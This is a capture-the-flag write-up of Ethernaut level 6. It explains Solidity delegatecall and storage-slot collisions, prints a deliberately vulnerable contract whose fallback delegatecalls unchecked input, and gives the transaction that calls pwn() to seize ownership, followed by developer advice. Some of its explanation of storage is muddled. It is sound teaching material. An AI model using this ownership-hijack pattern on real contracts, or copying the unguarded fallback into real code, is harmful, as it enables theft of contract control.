Ethernaut(Lvl 6): Not your regular call

Ethernaut(Lvl 6): Not your regular call

Claim ownership through delegateCall

DelegateCall

Using delegatecall allows for a unique, lower-level function call designed to invoke functions from another contract, often a library contract. One of the key advantages of delegatecall() is its ability to maintain the current context of the calling contract, including its storage and attributes like msg.sender and msg.value.

In Ethereum, data is stored in storage "slots," each comprising 32 bytes. Whenever a variable is stored in storage, it occupies the remaining space in the current slot or the next slot in sequence.

In the scenario where Contract A executes a delegatecall to Contract B's saveX() function, Contract A's storage gets mutated. Here's a breakdown:

  1. Initially, Contract A invokes the saveX function using delegatecall .This overrides Contract B's storage with Contract A's storage, also known as Storage A.

  2. Subsequently, the saveX function executes. Since Contract B originally stored "bar" in storage slot 0, any reference to the variable "bar" within the function points to slot 0.

  3. However, slot 0 now holds a reference pointer to "foo" due to the delegatecall. As a result, "foo" gets set to the value of "x," while "bar" remains unaffected and out of scope.

In essence, when Contract A performs a delegatecall to Contract B, it grants Contract B the ability to modify Contract A's storage freely.

However, it's crucial to note the security risks associated with delegatecall(). These risks arise when developers use delegatecall() in an insecure storage context or when inheriting from a potentially malicious library. Alignment of storage layouts between the contracts is essential for correct access to storage variables when using delegatecall, as highlighted in the Solidity documentation. This alignment is not guaranteed if storage pointers are passed as function arguments, particularly in high-level libraries.

The Challenge

The goal of the level is to claim ownership of your given instance by hacking the vulnerabilities in the smart contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

In the provided scenario, Delegation.sol executes a delegatecall to the Library contract Delegate.sol. It's worth noting that Delegate.sol contains a public function named pwn(), which is responsible for altering the ownership of an owner variable to whoever invokes the function.

contract Delegate {
    address public owner;   // Occupies slot 0

    function pwn() public {
        owner = msg.sender; // Save msg.sender to slot 0
    }
}

Interestingly, slot 0 of the Delegation contract also stores the owner variable, precisely the variable targeted for modification. Moreover, it appears that invoking the fallback function in Delegation.sol to trigger pwn() allows the invoker to become the owner of the calling contract.

function() public {
    if(delegate.delegatecall(msg.data)) {
        this; 
    }
}

In Ethereum, public functions can be invoked by sending data in a transaction. The format for this invocation is as follows:

contractInstance.call(bytes4(sha3("functionName(inputType)"))

Using Remix IDE or the console, one can invoke Delegation.sol's fallback function. For instance, invoking pwn() can be achieved as follows:

await sendTransaction({
  from: "0x1733d5adaccbe8057dba822ea74806361d181654",
  to: "0xe3895c413b0035512c029878d1ce4d8702d02320",
  data: "0xdd365b8b0000000000000000000000000000000000000000000000000000000000000000"
});

After this invocation, checking await contract.owner() confirms the invoker's new ownership status.

As a tip, one can use the Remix debugger (in Javascript VM mode) to observe how the storage context changes during these transactions. The storage slots can be found under the Remix debugger's "storage fully loaded" dropdown menu.

Developer TidBtits

  • Utilize the higher-level call() function when inheriting from libraries, particularly in scenarios where: i) There's no necessity to modify contract storage, and ii) Gas control is not a concern.

  • When inheriting from a library with the intention of modifying your contract's storage, ensure that your contract's storage slots are aligned with the library's storage slots to prevent potential issues.

  • Implement authentication mechanisms and perform conditional checks on functions that trigger delegatecalls to enhance security and mitigate risks.

  • Refer to the Solidity documentation on security considerations to gain a comprehensive understanding of best practices and potential vulnerabilities.